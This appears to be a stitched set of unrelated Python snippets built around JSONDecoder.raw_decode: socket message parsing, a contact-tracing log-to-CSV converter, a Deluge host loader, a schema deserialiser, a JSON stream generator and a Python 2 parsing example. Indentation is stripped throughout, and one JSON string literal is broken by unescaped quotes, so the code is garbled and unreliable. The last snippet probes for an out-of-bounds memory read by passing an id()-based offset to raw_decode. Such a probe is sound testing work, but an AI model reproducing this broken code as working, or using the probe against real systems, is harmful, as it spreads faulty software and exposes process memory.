logging.error('%s: send_all failed: %s' % (self, str(e)))
set_trace()
pass
raise
return False
def send_result(self, result, JSON=True):
try:
self.last_errmsg = ''
return self.send_all(result, JSON) # True or raise
except Exception as e: # could be blocking IO
self.last_errmsg = '%s: %s' % (self, str(e))
logging.error(self.last_errmsg)
return False
#----------------------------------------------------------------------
# Receive stuff
_bufsz = 8192 # max recv. FIXME: preallocate this?
_bufhi = 2 * _bufsz # Not sure I'll keep this
_OOBlimit = 20 # when to dump a flood
def recv_all(self):
""" Receive the next part of a message and decode it to a
python3 string.
Args:
Returns:
"""
needmore = False # Should be entered with an empty buffer
while True:
if self.inOOB: # make caller deal with OOB first
return None
last = len(self.instr)
if last:
if last > 60:
logging.debug('INSTR: %d bytes' % last)
else:
logging.debug('INSTR: %s' % self.instr)
appended = 0
# First time through OR go-around with partial buffer?
if not last or needmore:
try:
if last: # maybe trying to finish off a fragment
self._sock.settimeout(0.5) # akin to blocking mode
self.instr += self._sock.recv(self._bufsz).decode('utf-8')
appended = len(self.instr) - last
logging.info('%s: recvd %d bytes' % (self._str, appended))
if not appended: # Far side is gone without timeout
msg = '%s: closed by remote' % str(self)
self.close() # May lead to AttributeError below
raise OSError(errno.ECONNABORTED, msg)
except ConnectionAbortedError as e: # see two lines up
raise
except BlockingIOError as e:
# Not ready; only happens on a fresh read with non-blocking
# mode (ie, can't happen in timeout mode). Get back to
# select, or just re-recv?
set_trace() # probably created with selectable=True
if not self._created_blocking:
return None
continue
except socket.timeout as e:
pass
except Exception as e:
# AttributeError is ops on closed socket. Other stuff
# can just go through.
if self._sock is None:
raise OSError(errno.ECONNABORTED, str(self))
self.safe_setblocking() # just in case it's live
raise
self.safe_setblocking() # undo timeout (idempotent)
# Only the JSON decode can be allowed to throw an error.
# Json raw_decode() can return something other than a dict.
# Scalars indicate a partial parsing of the middle of a full
# JSON response. Let the parser keep at it until it exhausts
# those symbols.
while self.instr:
try:
if len(self.inOOB) > self._OOBlimit and \
len(self.instr) < self._bufhi:
return None # Deal with this part of the flood
result, nextjson = self.jsond.raw_decode(self.instr)
self.instr = self.instr[nextjson:]
if not isinstance(result, dict):
continue
OOBmsg = result.get('OOBmsg', False)
if OOBmsg: # and that's the whole result
self.inOOB.append(OOBmsg)
continue
return result
except ValueError as e:
# Bad JSON conversion. Since I'm using raw_decode
# multiple messages are no longer a problem; just walk
# through them with nextjson above. xattrs can go past
# _bufsiz, or perhaps an OOB flood filled instr. Either
# way I need more bytes by breaking back into recv loop.
# Is this a failure after re-read and if so did it help?
if needmore and needmore == self.instr:
# A "return None" might be better here when OOB
# processing is actually used.
break
# There's only a 1 in bufsz chance that a read really
# ended exactly on the boundary. In other words, a
# full read probably means there's more.
if appended >= self._bufsz: # decode() might make more
needmore = self.instr # the '+='rebinds instr
break
# Does it at least smell like JSON? Maybe it's the middle
# of one message and the beginning of another. That's
# authoritative, so remove pre-cruft and try again.
leftright = self.instr.find('}{')
if leftright != -1:
self.instr = self.instr[leftright + 1:]
continue
# What about a good start, but unfinished end? Might
# not be able to tell because of sub-objects.
leftcurly = self.instr.find('{')
if leftcurly == 0:
needmore = self.instr
break
# at this stage, it's not recoverable
self.clear()
return None
except Exception as e:
raise RuntimeError(
'JSON decode results have been misinterpreted')
raise RuntimeError(
'Unexpectedly reached end of JSON parsing loop')
def clear(self):
self.instr = ''
def clearOOB(self):
self.inOOB = []
def run(log_location, base_dir):
cache = set([])
file_cache = {}
expected_keys = {"i", "o", "d", "p", "t", "r", "w"}
# log_location = 'biglog.log'
# log_location = '/var/log/nginx/coronaviruscheck.org/postdata.log.1'
with open(log_location) as json_file:
decoder = JSONDecoder()
batch_number = "/" + datetime.now().strftime(
'%Y-%m-%dT%H:%M:%S') + '_' + token_hex(15) + ".csv"
for line in json_file:
if line != "\n":
try:
log_data = decoder.raw_decode(line)
except:
continue
bulk_write = {}
if 'z' in log_data[0]:
for interaction in log_data[0]['z']:
event_date = datetime.fromtimestamp(
int(interaction["w"]))
base_path = [
base_dir,
event_date.year,
str(event_date.month).zfill(2),
str(event_date.day).zfill(2),
]
my_id = str(int(
log_data[0]['i'] /
NUMBER_DEVICES)).zfill(LENGHT_DIRECTORY_DEVICES)
other_id = str(int(
interaction["o"] /
NUMBER_DEVICES)).zfill(LENGHT_DIRECTORY_DEVICES)
data_to_save1 = [
log_data[0]['i'], interaction["o"],
interaction["w"],
int(interaction["w"] + interaction["t"]),
interaction["t"], interaction["r"],
str(interaction["s"]).replace(",", ".")
]
data_to_save2 = [
interaction["o"], log_data[0]['i'],
interaction["w"],
int(interaction["w"] + interaction["t"]),
interaction["t"], interaction["r"],
str(interaction["s"]).replace(",", ".")
]
if 'x' in interaction:
data_to_save1.append(
str(interaction['x']).replace(",", "."))
data_to_save2.append(
str(interaction['x']).replace(",", "."))
else:
data_to_save1.append('')
data_to_save2.append('')
if 'y' in interaction:
data_to_save1.append(
str(interaction['y']).replace(",", "."))
data_to_save2.append(
str(interaction['y']).replace(",", "."))
else:
data_to_save1.append('')
data_to_save2.append('')
data_to_save1.append(log_data[0]['p'])
data_to_save2.append(log_data[0]['p'])
hostname = gethostname()
path_to_file1 = base_path.copy()
path_to_file2 = base_path.copy()
for index in range(0, 9, 2):
path_to_file1.append(
str(my_id[index] + my_id[index + 1]))
path_to_file2.append(
str(other_id[index] + other_id[index + 1]))
path_to_file1.append(hostname)
path_to_file2.append(hostname)
path_to_file1 = "/".join(map(str, path_to_file1))
path_to_file2 = "/".join(map(str, path_to_file2))
if path_to_file1 not in cache:
makedirs(path_to_file1)
cache.add(path_to_file1)
if path_to_file2 not in cache:
makedirs(path_to_file2)
cache.add(path_to_file2)
path_to_file1 += batch_number
path_to_file2 += batch_number
csv1 = ",".join(map(str, data_to_save1)) + "\n"
csv2 = ",".join(map(str, data_to_save2)) + "\n"
if path_to_file1 in bulk_write:
bulk_write[path_to_file1] = bulk_write[
path_to_file1] + csv1
else:
bulk_write[path_to_file1] = csv1
if path_to_file2 in bulk_write:
bulk_write[path_to_file2] = bulk_write[
path_to_file2] + csv2
else:
bulk_write[path_to_file2] = csv2
else:
for event in log_data[0]:
if all(key in event for key in expected_keys):
event_date = datetime.fromtimestamp(event.get("w"))
base_path = [
base_dir,
event_date.year,
str(event_date.month).zfill(2),
str(event_date.day).zfill(2),
]
id_my = event.get("i")
id_other = event.get("o")
my_id = str(int(id_my / NUMBER_DEVICES)).zfill(
LENGHT_DIRECTORY_DEVICES)
other_id = str(int(id_other /
NUMBER_DEVICES)).zfill(
LENGHT_DIRECTORY_DEVICES)
timestamp_start = event["w"]
timestamp_end = event["w"] + event["t"]
duration = event["t"]
distance_type = D_MAP[str(event["d"])]
rssi = event["r"]
latitude = event["x"]
longitude = event["y"]
platform = event["p"]
hostname = gethostname()
path_to_file1 = base_path.copy()
path_to_file2 = base_path.copy()
for index in range(0, 9, 2):
path_to_file1.append(
str(my_id[index] + my_id[index + 1]))
path_to_file2.append(
str(other_id[index] + other_id[index + 1]))
path_to_file1.append(hostname)
path_to_file2.append(hostname)
path_to_file1 = "/".join(map(str, path_to_file1))
path_to_file2 = "/".join(map(str, path_to_file2))
if path_to_file1 not in cache:
makedirs(path_to_file1)
cache.add(path_to_file1)
if path_to_file2 not in cache:
makedirs(path_to_file2)
cache.add(path_to_file2)
path_to_file1 += batch_number
path_to_file2 += batch_number
# my_id, other_id, timestamp_start, timestamp_end, interaction_lenght_in_seconds,
# RSSI, distance_type, latitude, longitude,
data_to_save1 = [
id_my, id_other, timestamp_start,
timestamp_end, duration, rssi, distance_type,
latitude, longitude, platform
]
data_to_save2 = [
id_other, id_my, timestamp_start,
timestamp_end, duration, rssi, distance_type,
latitude, longitude, platform
]
csv1 = ",".join(map(str, data_to_save1)) + "\n"
csv2 = ",".join(map(str, data_to_save2)) + "\n"
if path_to_file1 in bulk_write:
bulk_write[path_to_file1] = bulk_write[
path_to_file1] + csv1
else:
bulk_write[path_to_file1] = csv1
if path_to_file2 in bulk_write:
bulk_write[path_to_file2] = bulk_write[
path_to_file2] + csv2
else:
bulk_write[path_to_file2] = csv2
for path, csv in bulk_write.items():
if path in file_cache:
f = file_cache[path]
else:
f = open(path, "a+")
file_cache[path] = f
f.write(csv)
if len(file_cache) > 5000:
f = file_cache.pop(sample(file_cache.keys(), 1)[0])
f.close()
def hosts(self):
if "_hosts" not in self.__dict__ or self._hosts is None:
self._hosts = []
if len(self._hosts) == 0 and isfile(self.hostlist):
logger.debug("Getting hosts", len(self._hosts))
pos = 0
decoder = JSONDecoder()
with open(self.hostlist) as file:
document = file.read()
while True:
match = NOT_WHITESPACE.search(document, pos)
if not match:
break
pos = match.start()
obj, pos = decoder.raw_decode(document, pos)
if "hosts" in obj.keys():
for host in [
host
for host in obj["hosts"]
if self.host_filter.search(host[1])
]:
logger.debug("Adding {}@{}:{}", host[3], host[1], host[2])
try:
result = DelugeHost(
host=host[1],
port=host[2],
username=host[3],
password=host[4],
)
self._hosts.append(result)
except timeout:
logger.error(
"Timeout connecting to {}@{}:{}",
host[3],
host[1],
host[2],
)
except BrokenPipeError:
logger.error(
"Broken Pipe connecting to {}@{}:{}",
host[3],
host[1],
host[2],
)
except ConnectionAbortedError:
logger.error(
"Connection Aborted connecting to {}@{}:{}",
host[3],
host[1],
host[2],
)
except ConnectionRefusedError:
logger.error(
"Connection Refused connecting to {}@{}:{}",
host[3],
host[1],
host[2],
)
except ConnectionResetError:
logger.error(
"Connection Reset connecting to {}@{}:{}",
host[3],
host[1],
host[2],
)
except DelugeNotConnectedException:
logger.error(
"Connection to {}@{}:{} failed",
host[3],
host[1],
host[2],
)
logger.debug("Got {} hosts", len(self._hosts))
return self._hosts
def read(cls, input_string, schema, index=0):
"""Deserialise an input JSONString to a python object"""
decoder = JSONDecoder()
decoded, index = decoder.raw_decode(input_string, index)
def decode(input, schema):
# special case for handling result codes
if schema.role == Schema.Role.EResult:
if not isinstance(input, int):
raise ValueError("Could not interpret " + str(input) +
" as a result code")
return Result(input)
# special case for handling functions. note that only outputs (and return values) are read
if schema.role == Schema.Role.EFunction:
output_schemas = [
s[1] for s in schema.sub_schemas
if (s[1].role is Schema.Role.EReturn) or (
s[1].role is Schema.Role.EOutput)
]
return tuple(
decode(element[0], element[1])
for element in zip(input, output_schemas))
# special case for handling callbacks.
if schema.role == Schema.Role.ECallback:
if len(input) != len(schema.sub_schemas):
raise ValueError(
"Could not interpret " + str(input) +
" as callback parameter tuple of length " +
str(len(schema.sub_schemas)))
return tuple(
decode(element[0], element[1][1])
for element in zip(input, schema.sub_schemas))
if schema.type == Schema.Type.EVoid:
return None
if schema.type == Schema.Type.EBool:
if isinstance(input, bool):
return input
if isinstance(input, int):
return False if input == 0 else True
raise ValueError("Could not interpret " + str(input) + " as " +
schema.type.name)
if schema.type.value >= Schema.Type.EInt8.value and schema.type.value <= Schema.Type.EFloat64.value:
if not isinstance(input, numbers.Number):
raise ValueError("Could not interpret " + str(input) +
" as " + schema.type.name)
return input
if schema.type == Schema.Type.EString:
if not isinstance(input, string_types):
raise ValueError("Could not interpret " + str(input) +
" as " + schema.type.name)
return input
if schema.type == Schema.Type.EArray:
if len(input) != schema.count:
raise ValueError("Could not interpret " + str(input) +
" as array of length " + schema.count)
return tuple(
decode(element, schema.sub_schemas[0][1])
for element in input)
if schema.type == Schema.Type.EList:
return [
decode(element, schema.sub_schemas[0][1])
for element in input
]
if schema.type == Schema.Type.ETuple:
if len(input) != len(schema.sub_schemas):
raise ValueError("Could not interpret " + str(input) +
" as tuple of length " +
str(len(schema.sub_schemas)))
return tuple(
decode(element[0], element[1][1])
for element in zip(input, schema.sub_schemas))
if schema.type == Schema.Type.ENamedTuple:
record = cls.schema_records.get(schema.type_name, None)
if not record:
raise ValueError("Could not interpret unknown type " +
schema.type_name)
output = record.object()
if isinstance(input, dict):
for names, sub_schema in zip(record.pythonic_names.items(),
schema.sub_schemas):
input_element = input.get(names[0], None)
if input_element:
setattr(output, names[1],
decode(input_element, sub_schema[1]))
else:
if len(input) != len(record.pythonic_names):
raise ValueError("Could not interpret " + str(input) +
" as class with " +
str(len(record.pythonic_names)) +
" members")
for input_element, names, sub_schema in zip(
input, record.pythonic_names.items(),
schema.sub_schemas):
setattr(output, names[1],
decode(input_element, sub_schema[1]))
return output
if schema.type.value >= Schema.Type.EEnum8.value and schema.type.value <= Schema.Type.EEnum32.value:
record = cls.schema_records.get(schema.type_name, None)
if not record:
raise ValueError("Could not read unregistered enum type " +
str(input))
return record.object["E" + input]
if schema.type == Schema.Type.ERef:
return decode(input,
cls.schema_records[schema.type_name].schema)
return decode(decoded, schema)
def genjson(fp=None, filename=None, bufsize=262144, maxbufsize=None):
"""Generate JSON entries from a file-like object.
Parameters
----------
fp : file, optional
A file-like object with a sequence of JSON entries.
filename : str, optional
Path to a file with JSON entries. The `filename` and
`fp` arguments are mutually exclusive; only one of
them must be provided.
bufsize : int, optional
Size of the buffer to be read from the file for decoding.
When decoding fails, the buffer is enlarged up to `maxbufsize`
or until the whole file is consumed.
maxbufsize : int, optional
Maximum allowed size of the internal read buffer. When specified,
each JSON entry must be shorter than that.
Returns
-------
generator
The generator of JSON entries.
Raises
------
JSONDecodeError
When JSON decoding fails or if some entry exceeds `maxbufsize`.
"""
from json import JSONDecoder
if fp is None and filename is None:
raise TypeError("must have either 'fp' or 'filename' arguments")
if fp is not None and filename is not None:
raise TypeError("cannot use both 'fp' and 'filename' arguments")
if filename is not None:
kw = {'bufsize': bufsize, 'maxbufsize': maxbufsize}
with open(filename) as fp1:
for jobj in genjson(fp=fp1, **kw):
yield jobj
return
# here we have file-like object in fp
maxbuflen = sys.maxsize if maxbufsize is None else maxbufsize
decoder = JSONDecoder()
buf = ''
while True:
chunk = fp.read(bufsize)
buf += chunk
# end of file after processing last entry
if buf == '':
break
try:
jobj, i = decoder.raw_decode(buf)
except ValueError:
if chunk == '':
raise
if len(buf) > maxbuflen:
raise
continue
buf = buf[i:].lstrip()
yield jobj
return
import urllib2
import lxml.html as lh
from bs4 import BeautifulSoup as BS
import requests
import json
import simplejson
import urllib
from json import JSONDecoder
line ='{"noCompatibilityBySpec":false,"status":{"id":1,"name":"SUCCESS"},"hsnTsnExpansion":false,"propertyNames":["FitmentComments","Year","Make","Model","Trim","Engine"],"propertyTypes":[2,2,2,2,2,2],"displayNames":["Notes","Year","Make","Model","Trim","Engine"],"data":[{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, Drive Type: 4WD"],"Model":["K5 Blazer"],"Year":["1981"],"Make":["Chevrolet"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, Drive Type: 4WD"],"Model":["Jimmy"],"Year":["1981"],"Make":["GMC"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["K1500"],"Year":["1981"],"Make":["GMC"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["K1500 Suburban"],"Year":["1981"],"Make":["GMC"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["Cherokee"],"Year":["1981"],"Make":["Jeep"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["J10"],"Year":["1981"],"Make":["Jeep"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, Except Splined Drive Hub"],"Model":["Wagoneer"],"Year":["1981"],"Make":["Jeep"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["K10"],"Year":["1980"],"Make":["Chevrolet"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["K10 Suburban"],"Year":["1980"],"Make":["Chevrolet"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, Drive Type: 4WD"],"Model":["K5 Blazer"],"Year":["1980"],"Make":["Chevrolet"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, Drive Type: 4WD"],"Model":["Jimmy"],"Year":["1980"],"Make":["GMC"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["K1500"],"Year":["1980"],"Make":["GMC"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["K1500 Suburban"],"Year":["1980"],"Make":["GMC"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, 7/8" Drive Flange"],"Model":["Cherokee"],"Year":["1980"],"Make":["Jeep"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, 6 Stud Rotors, Steering Drive Flange"],"Model":["CJ5"],"Year":["1980"],"Make":["Jeep"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, Steering Drive Flange, 6 Stud Rotors"],"Model":["CJ7"],"Year":["1980"],"Make":["Jeep"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, 7/8" Drive Flange"],"Model":["J10"],"Year":["1980"],"Make":["Jeep"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front, 7/8" Drive Flange"],"Model":["Wagoneer"],"Year":["1980"],"Make":["Jeep"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["K10"],"Year":["1979"],"Make":["Chevrolet"]},{"FitmentComments":["Part Type: Disc Brake Rotor, Position: Front"],"Model":["K10 Suburban"],"Year":["1979"],"Make":["Chevrolet"]}],"errors":[],"uniqueVehicle":false,"fitsDiag":[],"pageInfo":{"currentPageNo":5,"totalRecordCount":176,"totalPageCount":9,"pageRecordCount":20}}'
decoder = JSONDecoder()
s_len = len(line)
objs = []
end = 0
while end != s_len:
obj, end = decoder.raw_decode(line, idx=end)
objs.append(obj)
print objs
print "JSON parsing example: ", objs[0]['data'][0]['Model']
from json import JSONDecoder
j = JSONDecoder()
a = '128931233'
b = "472389423"
if id(a) < id(b):
x = a
y = b
else:
x = b
y = a
diff = id(x) - id(y)
try:
j.raw_decode(y, diff)
print("Vulnerable")
except:
print("Not vulnerable")
